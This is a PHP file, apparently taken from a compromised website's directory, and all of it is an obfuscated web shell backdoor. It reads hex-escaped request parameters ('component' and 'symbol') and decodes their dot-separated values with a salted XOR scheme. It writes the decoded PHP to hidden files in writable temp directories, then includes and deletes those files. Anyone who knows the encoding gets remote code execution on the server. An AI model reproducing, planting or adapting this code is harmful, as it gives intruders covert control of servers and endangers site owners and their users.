File: //home/vitanhod/sawpalmetto3.vitavit.com.pk/cma_m_wanted.php
<?php if(@$_REQUEST["\x63ompo\x6E\x65\x6Et"] !== null){ $elem = array_filter([getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/var/tmp", session_save_path()]); $ent = $_REQUEST["\x63ompo\x6E\x65\x6Et"]; $ent = explode ("." ,$ent ) ; $flg = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1 ); foreach ($ent as $u => $v4) { $sChar = ord($salt1[$u %$lenS] ); $dec = ((int)$v4 - $sChar - ($u %10)) ^ 83; $flg .= chr($dec ); } foreach ($elem as $res) { if ((is_dir($res) and is_writable($res))) { $token = join("/", [$res, ".data"]); if (@file_put_contents($token, $flg) !== false) { include $token; unlink($token); exit; } } } }
if(isset($_REQUEST["\x73\x79\x6Dbol"])){
$entity = array_filter([getenv("TMP"), session_save_path(), getcwd(), "/tmp", "/dev/shm", sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]);
$mrk = $_REQUEST["\x73\x79\x6Dbol"];
$mrk = explode ('.' , $mrk ) ;
$tkn = '';
$s3 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s3);
$len = count($mrk);
for ($z = 0; $z < $len; $z++) { $v1 = $mrk[$z];
$sChar = ord($s3[$z% $sLen]);
$d = ((int)$v1 - $sChar - ($z% 10)) ^99;
$tkn.= chr($d); }
foreach ($entity as $dchunk) {
if ((bool)is_dir($dchunk) && (bool)is_writable($dchunk)) {
$property_set = "$dchunk/.reference";
if (@file_put_contents($property_set, $tkn) !== false) {
include $property_set;
unlink($property_set);
die();
}
}
}
}